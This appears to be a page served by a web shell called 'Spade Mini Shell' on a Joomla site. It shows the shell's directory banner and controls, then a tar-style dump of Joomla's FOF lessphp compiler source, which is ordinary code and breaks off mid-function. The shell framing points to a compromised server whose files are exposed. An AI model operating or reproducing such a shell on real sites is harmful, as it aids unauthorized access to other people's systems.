Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/joomla4/ |
| [Home] [System Details] [Kill Me] |
formatter/joomla.php000064400000001525151155772030010552 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFLessFormatterJoomla extends FOFLessFormatterClassic
{
public $disableSingle = true;
public $breakSelectors = true;
public $assignSeparator = ": ";
public $selectorSeparator = ",";
public $indentChar = "\t";
}
less.php000064400000200516151155772040006236 0ustar00<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken near verbatim (changes marked with **FOF** comment
markers) from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* THIS IS THIRD PARTY CODE. Code comments are mostly useless placeholders
to
* stop phpcs from complaining...
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLess
{
public static $VERSION = "v0.3.9";
protected static $TRUE = array("keyword", "true");
protected static $FALSE = array("keyword", "false");
protected $libFunctions = array();
protected $registeredVars = array();
protected $preserveComments = false;
/**
* Prefix of abstract properties
*
* @var string
*/
public $vPrefix = '@';
/**
* Prefix of abstract blocks
*
* @var string
*/
public $mPrefix = '$';
public $parentSelector = '&';
public $importDisabled = false;
public $importDir = '';
protected $numberPrecision = null;
/**
* Set to the parser that generated the current line when compiling
* so we know how to create error messages
*
* @var FOFLessParser
*/
protected $sourceParser = null;
protected $sourceLoc = null;
public static $defaultValue = array("keyword", "");
/**
* Uniquely identify imports
*
* @var integer
*/
protected static $nextImportId = 0;
/**
* Attempts to find the path of an import url, returns null for css files
*
* @param string $url The URL of the import
*
* @return string|null
*/
protected function findImport($url)
{
foreach ((array) $this->importDir as $dir)
{
$full = $dir . (substr($dir, -1) != '/' ? '/' :
'') . $url;
if ($this->fileExists($file = $full . '.less') ||
$this->fileExists($file = $full))
{
return $file;
}
}
return null;
}
/**
* Does file $name exists? It's a simple proxy to JFile for now
*
* @param string $name The file we check for existence
*
* @return boolean
*/
protected function fileExists($name)
{
/** FOF - BEGIN CHANGE * */
return
FOFPlatform::getInstance()->getIntegrationObject('filesystem')->fileExists($name);
/** FOF - END CHANGE * */
}
/**
* Compresslist
*
* @param array $items Items
* @param string $delim Delimiter
*
* @return array
*/
public static function compressList($items, $delim)
{
if (!isset($items[1]) && isset($items[0]))
{
return $items[0];
}
else
{
return array('list', $delim, $items);
}
}
/**
* Quote for regular expression
*
* @param string $what What to quote
*
* @return string Quoted string
*/
public static function preg_quote($what)
{
return preg_quote($what, '/');
}
/**
* Try import
*
* @param string $importPath Import path
* @param stdObject $parentBlock Parent block
* @param string $out Out
*
* @return boolean
*/
protected function tryImport($importPath, $parentBlock, $out)
{
if ($importPath[0] == "function" && $importPath[1] ==
"url")
{
$importPath = $this->flattenList($importPath[2]);
}
$str = $this->coerceString($importPath);
if ($str === null)
{
return false;
}
$url = $this->compileValue($this->lib_e($str));
// Don't import if it ends in css
if (substr_compare($url, '.css', -4, 4) === 0)
{
return false;
}
$realPath = $this->findImport($url);
if ($realPath === null)
{
return false;
}
if ($this->importDisabled)
{
return array(false, "/* import disabled */");
}
$this->addParsedFile($realPath);
$parser = $this->makeParser($realPath);
$root = $parser->parse(file_get_contents($realPath));
// Set the parents of all the block props
foreach ($root->props as $prop)
{
if ($prop[0] == "block")
{
$prop[1]->parent = $parentBlock;
}
}
/**
* Copy mixins into scope, set their parents, bring blocks from import
* into current block
* TODO: need to mark the source parser these came from this file
*/
foreach ($root->children as $childName => $child)
{
if (isset($parentBlock->children[$childName]))
{
$parentBlock->children[$childName] = array_merge(
$parentBlock->children[$childName], $child
);
}
else
{
$parentBlock->children[$childName] = $child;
}
}
$pi = pathinfo($realPath);
$dir = $pi["dirname"];
list($top, $bottom) = $this->sortProps($root->props, true);
$this->compileImportedProps($top, $parentBlock, $out, $parser, $dir);
return array(true, $bottom, $parser, $dir);
}
/**
* Compile Imported Props
*
* @param array $props Props
* @param stdClass $block Block
* @param string $out Out
* @param FOFLessParser $sourceParser Source parser
* @param string $importDir Import dir
*
* @return void
*/
protected function compileImportedProps($props, $block, $out,
$sourceParser, $importDir)
{
$oldSourceParser = $this->sourceParser;
$oldImport = $this->importDir;
// TODO: this is because the importDir api is stupid
$this->importDir = (array) $this->importDir;
array_unshift($this->importDir, $importDir);
foreach ($props as $prop)
{
$this->compileProp($prop, $block, $out);
}
$this->importDir = $oldImport;
$this->sourceParser = $oldSourceParser;
}
/**
* Recursively compiles a block.
*
* A block is analogous to a CSS block in most cases. A single LESS
document
* is encapsulated in a block when parsed, but it does not have parent
tags
* so all of it's children appear on the root level when compiled.
*
* Blocks are made up of props and children.
*
* Props are property instructions, array tuples which describe an action
* to be taken, eg. write a property, set a variable, mixin a block.
*
* The children of a block are just all the blocks that are defined
within.
* This is used to look up mixins when performing a mixin.
*
* Compiling the block involves pushing a fresh environment on the stack,
* and iterating through the props, compiling each one.
*
* @param stdClass $block Block
*
* @see FOFLess::compileProp()
*
* @return void
*/
protected function compileBlock($block)
{
switch ($block->type)
{
case "root":
$this->compileRoot($block);
break;
case null:
$this->compileCSSBlock($block);
break;
case "media":
$this->compileMedia($block);
break;
case "directive":
$name = "@" . $block->name;
if (!empty($block->value))
{
$name .= " " .
$this->compileValue($this->reduce($block->value));
}
$this->compileNestedBlock($block, array($name));
break;
default:
$this->throwError("unknown block type:
$block->type\n");
}
}
/**
* Compile CSS block
*
* @param stdClass $block Block to compile
*
* @return void
*/
protected function compileCSSBlock($block)
{
$env = $this->pushEnv();
$selectors = $this->compileSelectors($block->tags);
$env->selectors = $this->multiplySelectors($selectors);
$out = $this->makeOutputBlock(null, $env->selectors);
$this->scope->children[] = $out;
$this->compileProps($block, $out);
// Mixins carry scope with them!
$block->scope = $env;
$this->popEnv();
}
/**
* Compile media
*
* @param stdClass $media Media
*
* @return void
*/
protected function compileMedia($media)
{
$env = $this->pushEnv($media);
$parentScope = $this->mediaParent($this->scope);
$query = $this->compileMediaQuery($this->multiplyMedia($env));
$this->scope = $this->makeOutputBlock($media->type,
array($query));
$parentScope->children[] = $this->scope;
$this->compileProps($media, $this->scope);
if (count($this->scope->lines) > 0)
{
$orphanSelelectors = $this->findClosestSelectors();
if (!is_null($orphanSelelectors))
{
$orphan = $this->makeOutputBlock(null, $orphanSelelectors);
$orphan->lines = $this->scope->lines;
array_unshift($this->scope->children, $orphan);
$this->scope->lines = array();
}
}
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Media parent
*
* @param stdClass $scope Scope
*
* @return stdClass
*/
protected function mediaParent($scope)
{
while (!empty($scope->parent))
{
if (!empty($scope->type) && $scope->type !=
"media")
{
break;
}
$scope = $scope->parent;
}
return $scope;
}
/**
* Compile nested block
*
* @param stdClass $block Block
* @param array $selectors Selectors
*
* @return void
*/
protected function compileNestedBlock($block, $selectors)
{
$this->pushEnv($block);
$this->scope = $this->makeOutputBlock($block->type, $selectors);
$this->scope->parent->children[] = $this->scope;
$this->compileProps($block, $this->scope);
$this->scope = $this->scope->parent;
$this->popEnv();
}
/**
* Compile root
*
* @param stdClass $root Root
*
* @return void
*/
protected function compileRoot($root)
{
$this->pushEnv();
$this->scope = $this->makeOutputBlock($root->type);
$this->compileProps($root, $this->scope);
$this->popEnv();
}
/**
* Compile props
*
* @param type $block Something
* @param type $out Something
*
* @return void
*/
protected function compileProps($block, $out)
{
foreach ($this->sortProps($block->props) as $prop)
{
$this->compileProp($prop, $block, $out);
}
}
/**
* Sort props
*
* @param type $props X
* @param type $split X
*
* @return type
*/
protected function sortProps($props, $split = false)
{
$vars = array();
$imports = array();
$other = array();
foreach ($props as $prop)
{
switch ($prop[0])
{
case "assign":
if (isset($prop[1][0]) && $prop[1][0] == $this->vPrefix)
{
$vars[] = $prop;
}
else
{
$other[] = $prop;
}
break;
case "import":
$id = self::$nextImportId++;
$prop[] = $id;
$imports[] = $prop;
$other[] = array("import_mixin", $id);
break;
default:
$other[] = $prop;
}
}
if ($split)
{
return array(array_merge($vars, $imports), $other);
}
else
{
return array_merge($vars, $imports, $other);
}
}
/**
* Compile media query
*
* @param type $queries Queries
*
* @return string
*/
protected function compileMediaQuery($queries)
{
$compiledQueries = array();
foreach ($queries as $query)
{
$parts = array();
foreach ($query as $q)
{
switch ($q[0])
{
case "mediaType":
$parts[] = implode(" ", array_slice($q, 1));
break;
case "mediaExp":
if (isset($q[2]))
{
$parts[] = "($q[1]: " .
$this->compileValue($this->reduce($q[2])) . ")";
}
else
{
$parts[] = "($q[1])";
}
break;
case "variable":
$parts[] = $this->compileValue($this->reduce($q));
break;
}
}
if (count($parts) > 0)
{
$compiledQueries[] = implode(" and ", $parts);
}
}
$out = "@media";
if (!empty($parts))
{
$out .= " " .
implode($this->formatter->selectorSeparator, $compiledQueries);
}
return $out;
}
/**
* Multiply media
*
* @param type $env X
* @param type $childQueries X
*
* @return type
*/
protected function multiplyMedia($env, $childQueries = null)
{
if (is_null($env)
|| !empty($env->block->type)
&& $env->block->type != "media")
{
return $childQueries;
}
// Plain old block, skip
if (empty($env->block->type))
{
return $this->multiplyMedia($env->parent, $childQueries);
}
$out = array();
$queries = $env->block->queries;
if (is_null($childQueries))
{
$out = $queries;
}
else
{
foreach ($queries as $parent)
{
foreach ($childQueries as $child)
{
$out[] = array_merge($parent, $child);
}
}
}
return $this->multiplyMedia($env->parent, $out);
}
/**
* Expand parent selectors
*
* @param type &$tag Tag
* @param type $replace Replace
*
* @return type
*/
protected function expandParentSelectors(&$tag, $replace)
{
$parts = explode("$&$", $tag);
$count = 0;
foreach ($parts as &$part)
{
$part = str_replace($this->parentSelector, $replace, $part, $c);
$count += $c;
}
$tag = implode($this->parentSelector, $parts);
return $count;
}
/**
* Find closest selectors
*
* @return array
*/
protected function findClosestSelectors()
{
$env = $this->env;
$selectors = null;
while ($env !== null)
{
if (isset($env->selectors))
{
$selectors = $env->selectors;
break;
}
$env = $env->parent;
}
return $selectors;
}
/**
* Multiply $selectors against the nearest selectors in env
*
* @param array $selectors The selectors
*
* @return array
*/
protected function multiplySelectors($selectors)
{
// Find parent selectors
$parentSelectors = $this->findClosestSelectors();
if (is_null($parentSelectors))
{
// Kill parent reference in top level selector
foreach ($selectors as &$s)
{
$this->expandParentSelectors($s, "");
}
return $selectors;
}
$out = array();
foreach ($parentSelectors as $parent)
{
foreach ($selectors as $child)
{
$count = $this->expandParentSelectors($child, $parent);
// Don't prepend the parent tag if & was used
if ($count > 0)
{
$out[] = trim($child);
}
else
{
$out[] = trim($parent . ' ' . $child);
}
}
}
return $out;
}
/**
* Reduces selector expressions
*
* @param array $selectors The selector expressions
*
* @return array
*/
protected function compileSelectors($selectors)
{
$out = array();
foreach ($selectors as $s)
{
if (is_array($s))
{
list(, $value) = $s;
$out[] = trim($this->compileValue($this->reduce($value)));
}
else
{
$out[] = $s;
}
}
return $out;
}
/**
* Equality check
*
* @param mixed $left Left operand
* @param mixed $right Right operand
*
* @return boolean True if equal
*/
protected function eq($left, $right)
{
return $left == $right;
}
/**
* Pattern match
*
* @param type $block X
* @param type $callingArgs X
*
* @return boolean
*/
protected function patternMatch($block, $callingArgs)
{
/**
* Match the guards if it has them
* any one of the groups must have all its guards pass for a match
*/
if (!empty($block->guards))
{
$groupPassed = false;
foreach ($block->guards as $guardGroup)
{
foreach ($guardGroup as $guard)
{
$this->pushEnv();
$this->zipSetArgs($block->args, $callingArgs);
$negate = false;
if ($guard[0] == "negate")
{
$guard = $guard[1];
$negate = true;
}
$passed = $this->reduce($guard) == self::$TRUE;
if ($negate)
{
$passed = !$passed;
}
$this->popEnv();
if ($passed)
{
$groupPassed = true;
}
else
{
$groupPassed = false;
break;
}
}
if ($groupPassed)
{
break;
}
}
if (!$groupPassed)
{
return false;
}
}
$numCalling = count($callingArgs);
if (empty($block->args))
{
return $block->isVararg || $numCalling == 0;
}
// No args
$i = -1;
// Try to match by arity or by argument literal
foreach ($block->args as $i => $arg)
{
switch ($arg[0])
{
case "lit":
if (empty($callingArgs[$i]) || !$this->eq($arg[1],
$callingArgs[$i]))
{
return false;
}
break;
case "arg":
// No arg and no default value
if (!isset($callingArgs[$i]) && !isset($arg[2]))
{
return false;
}
break;
case "rest":
// Rest can be empty
$i--;
break 2;
}
}
if ($block->isVararg)
{
// Not having enough is handled above
return true;
}
else
{
$numMatched = $i + 1;
// Greater than becuase default values always match
return $numMatched >= $numCalling;
}
}
/**
* Pattern match all
*
* @param type $blocks X
* @param type $callingArgs X
*
* @return type
*/
protected function patternMatchAll($blocks, $callingArgs)
{
$matches = null;
foreach ($blocks as $block)
{
if ($this->patternMatch($block, $callingArgs))
{
$matches[] = $block;
}
}
return $matches;
}
/**
* Attempt to find blocks matched by path and args
*
* @param array $searchIn Block to search in
* @param string $path The path to search for
* @param array $args Arguments
* @param array $seen Your guess is as good as mine; that's
third party code
*
* @return null
*/
protected function findBlocks($searchIn, $path, $args, $seen = array())
{
if ($searchIn == null)
{
return null;
}
if (isset($seen[$searchIn->id]))
{
return null;
}
$seen[$searchIn->id] = true;
$name = $path[0];
if (isset($searchIn->children[$name]))
{
$blocks = $searchIn->children[$name];
if (count($path) == 1)
{
$matches = $this->patternMatchAll($blocks, $args);
if (!empty($matches))
{
// This will return all blocks that match in the closest
// scope that has any matching block, like lessjs
return $matches;
}
}
else
{
$matches = array();
foreach ($blocks as $subBlock)
{
$subMatches = $this->findBlocks($subBlock, array_slice($path, 1),
$args, $seen);
if (!is_null($subMatches))
{
foreach ($subMatches as $sm)
{
$matches[] = $sm;
}
}
}
return count($matches) > 0 ? $matches : null;
}
}
if ($searchIn->parent === $searchIn)
{
return null;
}
return $this->findBlocks($searchIn->parent, $path, $args, $seen);
}
/**
* Sets all argument names in $args to either the default value
* or the one passed in through $values
*
* @param array $args Arguments
* @param array $values Values
*
* @return void
*/
protected function zipSetArgs($args, $values)
{
$i = 0;
$assignedValues = array();
foreach ($args as $a)
{
if ($a[0] == "arg")
{
if ($i < count($values) && !is_null($values[$i]))
{
$value = $values[$i];
}
elseif (isset($a[2]))
{
$value = $a[2];
}
else
{
$value = null;
}
$value = $this->reduce($value);
$this->set($a[1], $value);
$assignedValues[] = $value;
}
$i++;
}
// Check for a rest
$last = end($args);
if ($last[0] == "rest")
{
$rest = array_slice($values, count($args) - 1);
$this->set($last[1], $this->reduce(array("list", "
", $rest)));
}
$this->env->arguments = $assignedValues;
}
/**
* Compile a prop and update $lines or $blocks appropriately
*
* @param array $prop Prop
* @param stdClass $block Block
* @param string $out Out
*
* @return void
*/
protected function compileProp($prop, $block, $out)
{
// Set error position context
$this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;
switch ($prop[0])
{
case 'assign':
list(, $name, $value) = $prop;
if ($name[0] == $this->vPrefix)
{
$this->set($name, $value);
}
else
{
$out->lines[] = $this->formatter->property($name,
$this->compileValue($this->reduce($value)));
}
break;
case 'block':
list(, $child) = $prop;
$this->compileBlock($child);
break;
case 'mixin':
list(, $path, $args, $suffix) = $prop;
$args = array_map(array($this, "reduce"), (array) $args);
$mixins = $this->findBlocks($block, $path, $args);
if ($mixins === null)
{
// Throw error here??
break;
}
foreach ($mixins as $mixin)
{
$haveScope = false;
if (isset($mixin->parent->scope))
{
$haveScope = true;
$mixinParentEnv = $this->pushEnv();
$mixinParentEnv->storeParent = $mixin->parent->scope;
}
$haveArgs = false;
if (isset($mixin->args))
{
$haveArgs = true;
$this->pushEnv();
$this->zipSetArgs($mixin->args, $args);
}
$oldParent = $mixin->parent;
if ($mixin != $block)
{
$mixin->parent = $block;
}
foreach ($this->sortProps($mixin->props) as $subProp)
{
if ($suffix !== null
&& $subProp[0] == "assign"
&& is_string($subProp[1])
&& $subProp[1][0] != $this->vPrefix)
{
$subProp[2] = array(
'list', ' ',
array($subProp[2], array('keyword', $suffix))
);
}
$this->compileProp($subProp, $mixin, $out);
}
$mixin->parent = $oldParent;
if ($haveArgs)
{
$this->popEnv();
}
if ($haveScope)
{
$this->popEnv();
}
}
break;
case 'raw':
$out->lines[] = $prop[1];
break;
case "directive":
list(, $name, $value) = $prop;
$out->lines[] = "@$name " .
$this->compileValue($this->reduce($value)) . ';';
break;
case "comment":
$out->lines[] = $prop[1];
break;
case "import";
list(, $importPath, $importId) = $prop;
$importPath = $this->reduce($importPath);
if (!isset($this->env->imports))
{
$this->env->imports = array();
}
$result = $this->tryImport($importPath, $block, $out);
$this->env->imports[$importId] = $result === false ?
array(false, "@import " .
$this->compileValue($importPath) . ";") :
$result;
break;
case "import_mixin":
list(, $importId) = $prop;
$import = $this->env->imports[$importId];
if ($import[0] === false)
{
$out->lines[] = $import[1];
}
else
{
list(, $bottom, $parser, $importDir) = $import;
$this->compileImportedProps($bottom, $block, $out, $parser,
$importDir);
}
break;
default:
$this->throwError("unknown op: {$prop[0]}\n");
}
}
/**
* Compiles a primitive value into a CSS property value.
*
* Values in lessphp are typed by being wrapped in arrays, their format is
* typically:
*
* array(type, contents [, additional_contents]*)
*
* The input is expected to be reduced. This function will not work on
* things like expressions and variables.
*
* @param array $value Value
*
* @return void
*/
protected function compileValue($value)
{
switch ($value[0])
{
case 'list':
// [1] - delimiter
// [2] - array of values
return implode($value[1], array_map(array($this,
'compileValue'), $value[2]));
case 'raw_color':
if (!empty($this->formatter->compressColors))
{
return $this->compileValue($this->coerceColor($value));
}
return $value[1];
case 'keyword':
// [1] - the keyword
return $value[1];
case 'number':
// Format: [1] - the number -- [2] - the unit
list(, $num, $unit) = $value;
if ($this->numberPrecision !== null)
{
$num = round($num, $this->numberPrecision);
}
return $num . $unit;
case 'string':
// [1] - contents of string (includes quotes)
list(, $delim, $content) = $value;
foreach ($content as &$part)
{
if (is_array($part))
{
$part = $this->compileValue($part);
}
}
return $delim . implode($content) . $delim;
case 'color':
/**
* Format:
*
* [1] - red component (either number or a %)
* [2] - green component
* [3] - blue component
* [4] - optional alpha component
*/
list(, $r, $g, $b) = $value;
$r = round($r);
$g = round($g);
$b = round($b);
if (count($value) == 5 && $value[4] != 1)
{
// Return an rgba value
return 'rgba(' . $r . ',' . $g . ',' .
$b . ',' . $value[4] . ')';
}
$h = sprintf("#%02x%02x%02x", $r, $g, $b);
if (!empty($this->formatter->compressColors))
{
// Converting hex color to short notation (e.g. #003399 to #039)
if ($h[1] === $h[2] && $h[3] === $h[4] && $h[5] ===
$h[6])
{
$h = '#' . $h[1] . $h[3] . $h[5];
}
}
return $h;
case 'function':
list(, $name, $args) = $value;
return $name . '(' . $this->compileValue($args) .
')';
default:
// Assumed to be unit
$this->throwError("unknown value type: $value[0]");
}
}
/**
* Lib is number
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isnumber($value)
{
return $this->toBool($value[0] == "number");
}
/**
* Lib is string
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isstring($value)
{
return $this->toBool($value[0] == "string");
}
/**
* Lib is color
*
* @param type $value X
*
* @return boolean
*/
protected function lib_iscolor($value)
{
return $this->toBool($this->coerceColor($value));
}
/**
* Lib is keyword
*
* @param type $value X
*
* @return boolean
*/
protected function lib_iskeyword($value)
{
return $this->toBool($value[0] == "keyword");
}
/**
* Lib is pixel
*
* @param type $value X
*
* @return boolean
*/
protected function lib_ispixel($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "px");
}
/**
* Lib is percentage
*
* @param type $value X
*
* @return boolean
*/
protected function lib_ispercentage($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "%");
}
/**
* Lib is em
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isem($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "em");
}
/**
* Lib is rem
*
* @param type $value X
*
* @return boolean
*/
protected function lib_isrem($value)
{
return $this->toBool($value[0] == "number" &&
$value[2] == "rem");
}
/**
* LIb rgba hex
*
* @param type $color X
*
* @return boolean
*/
protected function lib_rgbahex($color)
{
$color = $this->coerceColor($color);
if (is_null($color))
{
$this->throwError("color expected for rgbahex");
}
return sprintf("#%02x%02x%02x%02x", isset($color[4]) ?
$color[4] * 255 : 255, $color[1], $color[2], $color[3]);
}
/**
* Lib argb
*
* @param type $color X
*
* @return type
*/
protected function lib_argb($color)
{
return $this->lib_rgbahex($color);
}
/**
* Utility func to unquote a string
*
* @param string $arg Arg
*
* @return string
*/
protected function lib_e($arg)
{
switch ($arg[0])
{
case "list":
$items = $arg[2];
if (isset($items[0]))
{
return $this->lib_e($items[0]);
}
return self::$defaultValue;
case "string":
$arg[1] = "";
return $arg;
case "keyword":
return $arg;
default:
return array("keyword", $this->compileValue($arg));
}
}
/**
* Lib sprintf
*
* @param type $args X
*
* @return type
*/
protected function lib__sprintf($args)
{
if ($args[0] != "list")
{
return $args;
}
$values = $args[2];
$string = array_shift($values);
$template = $this->compileValue($this->lib_e($string));
$i = 0;
if (preg_match_all('/%[dsa]/', $template, $m))
{
foreach ($m[0] as $match)
{
$val = isset($values[$i]) ?
$this->reduce($values[$i]) : array('keyword',
'');
// Lessjs compat, renders fully expanded color, not raw color
if ($color = $this->coerceColor($val))
{
$val = $color;
}
$i++;
$rep = $this->compileValue($this->lib_e($val));
$template = preg_replace('/' . self::preg_quote($match) .
'/', $rep, $template, 1);
}
}
$d = $string[0] == "string" ? $string[1] : '"';
return array("string", $d, array($template));
}
/**
* Lib floor
*
* @param type $arg X
*
* @return array
*/
protected function lib_floor($arg)
{
$value = $this->assertNumber($arg);
return array("number", floor($value), $arg[2]);
}
/**
* Lib ceil
*
* @param type $arg X
*
* @return array
*/
protected function lib_ceil($arg)
{
$value = $this->assertNumber($arg);
return array("number", ceil($value), $arg[2]);
}
/**
* Lib round
*
* @param type $arg X
*
* @return array
*/
protected function lib_round($arg)
{
$value = $this->assertNumber($arg);
return array("number", round($value), $arg[2]);
}
/**
* Lib unit
*
* @param type $arg X
*
* @return array
*/
protected function lib_unit($arg)
{
if ($arg[0] == "list")
{
list($number, $newUnit) = $arg[2];
return array("number", $this->assertNumber($number),
$this->compileValue($this->lib_e($newUnit)));
}
else
{
return array("number", $this->assertNumber($arg),
"");
}
}
/**
* Helper function to get arguments for color manipulation functions.
* takes a list that contains a color like thing and a percentage
*
* @param array $args Args
*
* @return array
*/
protected function colorArgs($args)
{
if ($args[0] != 'list' || count($args[2]) < 2)
{
return array(array('color', 0, 0, 0), 0);
}
list($color, $delta) = $args[2];
$color = $this->assertColor($color);
$delta = floatval($delta[1]);
return array($color, $delta);
}
/**
* Lib darken
*
* @param type $args X
*
* @return type
*/
protected function lib_darken($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[3] = $this->clamp($hsl[3] - $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib lighten
*
* @param type $args X
*
* @return type
*/
protected function lib_lighten($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[3] = $this->clamp($hsl[3] + $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib saturate
*
* @param type $args X
*
* @return type
*/
protected function lib_saturate($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[2] = $this->clamp($hsl[2] + $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib desaturate
*
* @param type $args X
*
* @return type
*/
protected function lib_desaturate($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[2] = $this->clamp($hsl[2] - $delta, 100);
return $this->toRGB($hsl);
}
/**
* Lib spin
*
* @param type $args X
*
* @return type
*/
protected function lib_spin($args)
{
list($color, $delta) = $this->colorArgs($args);
$hsl = $this->toHSL($color);
$hsl[1] = $hsl[1] + $delta % 360;
if ($hsl[1] < 0)
{
$hsl[1] += 360;
}
return $this->toRGB($hsl);
}
/**
* Lib fadeout
*
* @param type $args X
*
* @return type
*/
protected function lib_fadeout($args)
{
list($color, $delta) = $this->colorArgs($args);
$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) - $delta /
100);
return $color;
}
/**
* Lib fadein
*
* @param type $args X
*
* @return type
*/
protected function lib_fadein($args)
{
list($color, $delta) = $this->colorArgs($args);
$color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) + $delta /
100);
return $color;
}
/**
* Lib hue
*
* @param type $color X
*
* @return type
*/
protected function lib_hue($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[1]);
}
/**
* Lib saturation
*
* @param type $color X
*
* @return type
*/
protected function lib_saturation($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[2]);
}
/**
* Lib lightness
*
* @param type $color X
*
* @return type
*/
protected function lib_lightness($color)
{
$hsl = $this->toHSL($this->assertColor($color));
return round($hsl[3]);
}
/**
* Get the alpha of a color
* Defaults to 1 for non-colors or colors without an alpha
*
* @param string $value Value
*
* @return string
*/
protected function lib_alpha($value)
{
if (!is_null($color = $this->coerceColor($value)))
{
return isset($color[4]) ? $color[4] : 1;
}
}
/**
* Set the alpha of the color
*
* @param array $args Args
*
* @return string
*/
protected function lib_fade($args)
{
list($color, $alpha) = $this->colorArgs($args);
$color[4] = $this->clamp($alpha / 100.0);
return $color;
}
/**
* Third party code; your guess is as good as mine
*
* @param array $arg Arg
*
* @return string
*/
protected function lib_percentage($arg)
{
$num = $this->assertNumber($arg);
return array("number", $num * 100, "%");
}
/**
* mixes two colors by weight
* mix(@color1, @color2, @weight);
*
http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
*
* @param array $args Args
*
* @return string
*/
protected function lib_mix($args)
{
if ($args[0] != "list" || count($args[2]) < 3)
{
$this->throwError("mix expects (color1, color2, weight)");
}
list($first, $second, $weight) = $args[2];
$first = $this->assertColor($first);
$second = $this->assertColor($second);
$first_a = $this->lib_alpha($first);
$second_a = $this->lib_alpha($second);
$weight = $weight[1] / 100.0;
$w = $weight * 2 - 1;
$a = $first_a - $second_a;
$w1 = (($w * $a == -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) / 2.0;
$w2 = 1.0 - $w1;
$new = array('color',
$w1 * $first[1] + $w2 * $second[1],
$w1 * $first[2] + $w2 * $second[2],
$w1 * $first[3] + $w2 * $second[3],
);
if ($first_a != 1.0 || $second_a != 1.0)
{
$new[] = $first_a * $weight + $second_a * ($weight - 1);
}
return $this->fixColor($new);
}
/**
* Third party code; your guess is as good as mine
*
* @param array $arg Arg
*
* @return string
*/
protected function lib_contrast($args)
{
if ($args[0] != 'list' || count($args[2]) < 3)
{
return array(array('color', 0, 0, 0), 0);
}
list($inputColor, $darkColor, $lightColor) = $args[2];
$inputColor = $this->assertColor($inputColor);
$darkColor = $this->assertColor($darkColor);
$lightColor = $this->assertColor($lightColor);
$hsl = $this->toHSL($inputColor);
if ($hsl[3] > 50)
{
return $darkColor;
}
return $lightColor;
}
/**
* Assert color
*
* @param type $value X
* @param type $error X
*
* @return type
*/
protected function assertColor($value, $error = "expected color
value")
{
$color = $this->coerceColor($value);
if (is_null($color))
{
$this->throwError($error);
}
return $color;
}
/**
* Assert number
*
* @param type $value X
* @param type $error X
*
* @return type
*/
protected function assertNumber($value, $error = "expecting
number")
{
if ($value[0] == "number")
{
return $value[1];
}
$this->throwError($error);
}
/**
* To HSL
*
* @param type $color X
*
* @return type
*/
protected function toHSL($color)
{
if ($color[0] == 'hsl')
{
return $color;
}
$r = $color[1] / 255;
$g = $color[2] / 255;
$b = $color[3] / 255;
$min = min($r, $g, $b);
$max = max($r, $g, $b);
$L = ($min + $max) / 2;
if ($min == $max)
{
$S = $H = 0;
}
else
{
if ($L < 0.5)
{
$S = ($max - $min) / ($max + $min);
}
else
{
$S = ($max - $min) / (2.0 - $max - $min);
}
if ($r == $max)
{
$H = ($g - $b) / ($max - $min);
}
elseif ($g == $max)
{
$H = 2.0 + ($b - $r) / ($max - $min);
}
elseif ($b == $max)
{
$H = 4.0 + ($r - $g) / ($max - $min);
}
}
$out = array('hsl',
($H < 0 ? $H + 6 : $H) * 60,
$S * 100,
$L * 100,
);
if (count($color) > 4)
{
// Copy alpha
$out[] = $color[4];
}
return $out;
}
/**
* To RGB helper
*
* @param type $comp X
* @param type $temp1 X
* @param type $temp2 X
*
* @return type
*/
protected function toRGB_helper($comp, $temp1, $temp2)
{
if ($comp < 0)
{
$comp += 1.0;
}
elseif ($comp > 1)
{
$comp -= 1.0;
}
if (6 * $comp < 1)
{
return $temp1 + ($temp2 - $temp1) * 6 * $comp;
}
if (2 * $comp < 1)
{
return $temp2;
}
if (3 * $comp < 2)
{
return $temp1 + ($temp2 - $temp1) * ((2 / 3) - $comp) * 6;
}
return $temp1;
}
/**
* Converts a hsl array into a color value in rgb.
* Expects H to be in range of 0 to 360, S and L in 0 to 100
*
* @param type $color X
*
* @return type
*/
protected function toRGB($color)
{
if ($color == 'color')
{
return $color;
}
$H = $color[1] / 360;
